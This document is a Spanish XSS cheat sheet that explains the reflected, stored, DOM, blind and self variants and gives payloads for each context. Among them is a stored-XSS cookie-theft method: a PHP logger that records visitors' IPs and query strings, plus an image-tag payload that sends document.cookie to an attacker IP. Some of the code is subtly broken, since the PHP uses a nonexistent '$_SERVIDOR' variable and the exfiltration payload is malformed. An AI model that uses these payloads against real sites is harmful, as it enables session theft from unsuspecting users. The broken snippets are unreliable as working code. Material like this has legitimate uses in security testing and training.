Cross Site Scripting (XSS)

¿Qué es y cómo funciona?

Un XSS es un tipo de vulnerabilidad típica de las aplicaciones Web, que puede permitir a una tercera persona inyectar en páginas web visitadas por el usuario código JavaScript.

Es posible encontrar una vulnerabilidad de Cross-Site Scripting en aplicaciones que tengan entre sus funciones presentar la información en un navegador web u otro contenedor de páginas web. Sin embargo, no se limita a sitios web disponibles en Internet, ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el navegador en sí.

Diferencias entre Reflected, Stored, DOM, Blind y Self

  • Reflected: Se encuentra en los buscadores de la paginas, por el parámetro GET.

  • Stored: Parametro POST, normalmente en la típica pagina que se puede publicar un post donde introducir un payload.

  • DOM XSS: Se introducen en el lado del cliente, a través de la inyección de un payload por parte del atacante, puede ser a su vez Stored o Reflected.

  • Blind XSS: Se trata de una derivada de Stored XSS, cuya peculiaridad reside en que el atacante no tiene acceso a la pagina en la que esta ejecutando el código.

  • Self-XSS:  se trata del tipo menos peligroso, ya que es aquel que requiere que la víctima introduzca el código la petición al servidor.

Cheat Sheet basic

<script>alert("XSS");</script> # test 1
<script>alert("j4ckie");</script> # test 2
"><script>alert("XSS");</script> # test 3
<ScRiPt>alert("1");</ScRipT> # evadir filtro
<script>alert(document.cookie);</script> # cookie
<script src="http://192.168.146.128/script.js"></script> # petición de un archivo local 

Este script se inyectaría mediante un XSS en un post vulnerable, cada vez que un usuario entre en cierto post de la web robará su cookie, este es un ataque XSS Stored.

<?php
$ip = $_SERVIDOR['REMOTE_ADDR'];
$browser = $_SERVIDOR['HTTP_USER_AGENT'];

$fp = fopen('cookiestealer.txt', 'a');

fwrite($fp, $ip.' '.$browser." \n");
fwrite($fp, urldecode($_SERVIDOR['QUERY_STRING']). " \n\n");
fclose($fp);
?>

Hay una forma de hacerlo más sencillo, estamos haciendo que cada vez que vea el blog o el articulo intente cargar un archivo que no existe, asi conseguimos que el usuario que ha entrado nos de su cookie.

<script document.write('<img src="http://<IP atacante>/image.jpg?cookie=‘ + document.cookie + ‘“>’)</script>

Reflected

¿Qué és?

Cross-Site scripting reflected surge cuando la aplicación recibe datos en la petición HTTP y que incluya datos dentro de la respuesta inmediata de forma insegura.

Supongamos que un sitio web tiene una función de búsqueda que recibe el término de búsqueda introducido por el usuario en un parámetro URL:

https://website.com/search?category=gift

Asumiendo que la aplicación no realiza otro proceso con los datos, el atacante puede construir un ataque como lo siguiente:

https://website.com/search?category=<script>/*+Bad+stuff+here...+*/</script>

Y el resultado de la URL sería el siguiente

<p>You searched for: <script>/* Bad stuff here... */</script></p

Si otro usuario de la aplicación solicita la URL del atacante, entonces el script suministrado por el atacante se ejecutará en el navegador del usuario víctima, en el contexto de su sesión con la aplicación.

HTML Context without encoded

<script>alert('XSS')</script>

HTML attribute angle brackets encoded

“onmousemove=”alert(1)

JavaScript string angle brackets encoded

'/alert()/'
'-alert(1)-'

Referencias

Stored

HTML context with nothing encoded

<script>alert(1)</script>

Href attribute with double quoted HTML encode

javascript:alert(1)

Referencias

DOM-Based

InnerHTML payload

"><img+src=1%20onerror=alert(1337)> # location.search
"><script>alert('XSS')</script> # document.write
"><svg onload=alert(1)> # document.write using location.search

jQuery

javascript:alert(1337) # attribute href
 <iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'"> # selector hashchange event

Referencias

Last updated